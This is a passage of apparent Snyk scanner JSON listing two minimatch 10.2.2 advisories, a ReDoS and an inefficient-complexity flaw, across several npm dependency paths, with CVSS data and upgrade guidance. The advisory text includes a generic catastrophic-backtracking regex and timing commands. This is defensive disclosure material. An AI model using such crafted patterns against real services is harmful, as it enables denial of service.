this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": 